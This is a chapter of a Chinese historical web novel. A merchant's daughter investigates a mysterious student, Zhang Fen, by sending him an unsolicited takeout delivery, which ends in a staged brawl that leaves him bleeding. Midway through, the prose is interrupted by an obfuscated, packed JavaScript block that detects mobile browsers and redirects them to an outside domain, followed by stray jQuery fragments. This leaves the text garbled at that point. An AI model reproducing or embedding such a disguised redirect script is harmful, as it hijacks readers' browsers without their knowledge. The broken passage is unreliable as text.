吴悦今日特意寻了由头去酪香店,只是为与阿什接头,待交代安排好后,她顺便视察了食店、糕点店和书局,然后才改道回府。
此时已经将近黄昏,见柳影声尚未归来,她也不动声色,只装作不知。吩咐青枣将从糕点店里带回的酥饼与食店打包的新鲜羊腿交给厨房,叮嘱厨娘带新来的帮佣去弄点花椒叶,辅以葱姜蒜泥爆香后,今晚就做羊肉南瓜糊汤面吃。如今的吴家在锦绣巷的宅邸,仆役数量早已不同往日。
自吴父升任正五品,兄长吴夏又考中解元,先前推说仆役不足的吏员立刻送来大批人丁任刘耘娘挑选。
这等闻腥而来的钻营做派,让人感到很是反感,但是她们也不得不从这批人中拣选了些看似忠厚老实的留下当值。这些人都是瞅准了吴夏今年要参加礼部省试,认定吴家不再是往日的“粗鄙武家”,而是值得下注的“潜力股”,才纷纷前来投奔。
刘耘娘心里清楚,这批人是官府派遣,卖身契不在手中,自然不能委以重任。府中紧要差事,仍需依靠早年跟随的仆妇打理。而这批人只能在外院当差,内屋绝不允许踏足。但是随着宅邸日渐庞大,要收拾清理的地盘也在扩大,青枣王婆都感到体力不支。
吴悦便想再过几日去城东的福利院,再寻些因为名额不足而未被收养而流落在街道上孤女孤儿带来府内,专司内室清扫,只是此事暂且不急。
因为眼下全家正为兄长吴夏赴开封府参加会试忙碌。由于冯京父母不在京中,刘耘娘特意为他也备了一份行囊,里头笔墨纸砚、冬衣干粮的配置,与吴夏的分毫不差。冯京捧着沉甸甸的包裹,眼眶也有些微微的泛红,他刚想要推辞,却被吴悦硬塞进怀中。
吴家上下正翘首以盼吴夏从考场归来时,另一边的监视任务也有了突破性进展。
这几日,因全家都在为科举焦灼,柳影声也暂未外出,反倒常围着吴悦打转。恰在此时,阿什他们终于锁定了那个神秘小哥——一名十七八岁、即将弱冠的男子,每隔五日便会去老汉家送吃食。他来去匆匆,放下东西就走,而老汉也从不挽留,只反复叮嘱他专心治学。此次,待小哥离开时,夜幕早已深沉,小巷里人影寥寥,阿什等人扮作乞丐蹲守墙角,借着夜色掩护,一路跟到了小哥的住处。
那处宅院与老汉栖身的平民区截然不同,周围皆是东京城里小有名气的商户。他们又乔装成卖炭郎,向街坊打听,这才得知,这小哥姓张,四五年前就租下了这里。据说他是因母亲改嫁,继兄一家容不下他,才独自在外求学。至于他的全名,还需进一步探查。
阿什等人的调查并未止步于此。他们每日在街巷中周旋,终于从一个多嘴的闲汉口中挖出关键线索,这闲汉因为经常给这小哥送外卖才知道,原来那神秘小哥竟是国子监的生员!不过,此前他一直住在校舍,可近两个月却突然搬了出来,说是要专心在家治学。
消息传回吴悦处时,她也罕见的愣住了。要知道,国子监门槛极高,唯有六品以上文官才有资格推荐学生入学,先前吴父决意转为供备库副使,千辛万苦也只是为吴夏博得一个入学名额。那这小哥究竟什么来历?看那柳老汉的平民出身,显然没有这般能耐。柳尚食令虽在宫中权势不小,却也难以插手宫外文官系统的举荐事务。难道是他改嫁母亲那边的继兄继父有这等背景?
吴悦的眉头越皱越紧,这谜团似乎愈发深了。
看来得用些小手段打草惊蛇,试探一下这小哥的真实身份。
------------------
四月,午时的阳光斜斜照进窗棂,今年开封府似乎难得要迎来一个暖春。
张汾正站在灶台前忙碌。他捏着一根竹筷,在浅盆状的面团上飞快剔动,细长的面条如银线般落入沸水——这是母亲生前常做给他吃的“剔尖”,用筷子剔出的面条滑嫩筋道。旁边陶碗里盛着备好的羊肉臊子卤,肥瘦相间的肉末裹着酱色汤汁,香气混着水汽漫了满室。
他望着锅里翻腾的面条,眼神有些发怔,仿佛又看见幼时母亲握着他的手教剔面的模样,听见她讲太原老家院角的杏花、檐下的燕巢……灶上的沸水“咕嘟”着冒起白汽,让他在回忆越陷越陷,似乎隐约来到母亲口中那个她长大的小院,看到她思念许久的亲人。
忽然间,“叩叩叩”的敲门声打断了他的思绪,门外传来急促的敲门声,夹杂着一个熟悉的大嗓门:“张小哥!张小哥!您的外卖到了!”
张汾心头纳闷,今日并未点外卖,却还是放下竹筷开了门。门口果然是常跑这条街的送食闲汉,他满头大汗地拖着两大盒食盒,红漆木盒上贴着“吴氏酪香店”的烫金封条,蒸汽正从缝隙里丝丝往外冒。
“您可算开门了了!”闲汉见他开门,脸上堆起笑,不由分说绕过他往屋里走,将食盒重重搁在餐桌中央,“酪香店的伙计催得紧,我这一路小跑过来的。”
张汾连忙拉住他:“等等!这是谁点的?我并未下单。”
那闲汉摸了摸后脑勺,憨声道:“咱也不清楚,店里只说按地址送这儿。”随后,他挣开张汾的手,转身就往门外走,“小哥您快趁热吃,我后头还有好几单呢!这酪香店的外卖,如今红火得很!”话音未落,人已拐进巷口不见了踪影。
张汾站在原地,望着巷口许久,眉头微微蹙起,终究还是满心疑惑地关上门,转身走回饭厅。桌上两大盒食盒沉甸甸的,他掀开盒盖,里面的菜色精致鲜亮,全是吴氏酪香店的招牌。
“谁会给我送这个?”指尖摩挲着食盒边缘,忽然想起前两天去柳老爷子家时,老人提过柳影声总往吴氏酪香店跑,不仅缠着店家要食谱,还拍着胸脯说“以后定要请他们大吃一顿”。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16114239|172133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>张汾望着满盒佳肴,嘴角不自觉地牵了牵。难道这就是她说的“大吃一顿”?
他转身回厨房,将灶上煮到半熟的剔尖面盛进陶碗。反正有现成的好菜,这碗面明日再吃也不迟。又从储存间翻出一坛私藏许久的青梅酒,泥封一启,清冽的酒香便漫了开来。
午后暖洋洋的阳光透过窗纸,在青砖地上投下格子状的光斑。张汾就着酪香店的菜肴自酌自饮,饭菜的的咸香混着青梅酒的微甜,竟让他渐渐有些醺然。不知是酒意太浓,还是连日紧张的神经带来的疲惫涌了上来,他趴在桌上沉沉睡去。
睡梦中,张汾似乎听见门外传来争吵声,有人在大力砸门,喊着他的名字,还夹杂着一个老妇尖利的咒骂。
他眉头紧锁,扶着昏沉的额头从桌上撑起身子,酒醉的眩晕让他身形晃了晃,上一次喝酒,还是母亲去世时的事了。
揉了揉发胀的太阳穴,他才看清窗外已蒙上赤色,估摸着快到暮时。敲门声越来越急,这次声音听得真切。是那个送食闲汉的声音,带着哭腔喊他的名字,背景里还有个老妇在撒泼叫骂。
“不是梦……”张汾扶着门框站稳,刚拉开门闩,闲汉就踉跄着撞了进来,背后跟着个四五十岁的彪悍妇人,她身后还站着两个精壮男子,一看就是不好惹的街头混混。
“就是他!”妇人叉着腰,嗓门像破锣,“我在酪香店点的外卖,就被这汉子送错给这穷酸小子!”
闲汉急得直跺脚:“小哥您快说句公道话!我分明按地址送的,哪晓得她说送错了?”
张汾还没理清头绪,妇人已指着他的鼻子骂道:“少装糊涂!今天这桌菜钱,你要么赔,要么跟我去见官!”她身后的男子往前凑了凑,拳头捏得咯咯响。
拉扯间,张汾被那中年妇人猛地一推,踉跄着撞在桌角,后腰磕得生疼。他一时气极,反手推了妇人一把——那妇人本就站得不稳,顿时尖叫着跌坐在地。她身后两个精壮汉子见状,立刻撸起袖子扑上来,拳头直往张汾面门挥。
“别动手啊!”送食闲汉急得扑过去拦在中间,却被那俩精壮汉子一把搡开,踉跄着跌倒在地。
动静早惊动了街坊,不少人围在门口看了起来,发现事情要闹大,七手八脚地将缠斗的人拉开。这时,人群里突然响起个脆生生的女声,尖声大叫:“快找大夫!那小哥额头流血了!”
张汾只觉得额角一热,温热的液体顺着脸颊往下淌。喝醉的眩晕混着伤口的疼,让他眼前阵阵发黑。
“出人命了!出人命了!”不知又是谁先喊了一声,这声叫喊像石子投进油锅,人群顿时炸开了锅。有人往巷口跑着去报官,有人跑回家要去拿伤药,还有人围着那俩精壮汉子不许他们离开,也有人扶着这张汾要他先回房安置。而那中年妇人却早早趁乱往巷尾缩了缩,一溜烟人就消失不见了。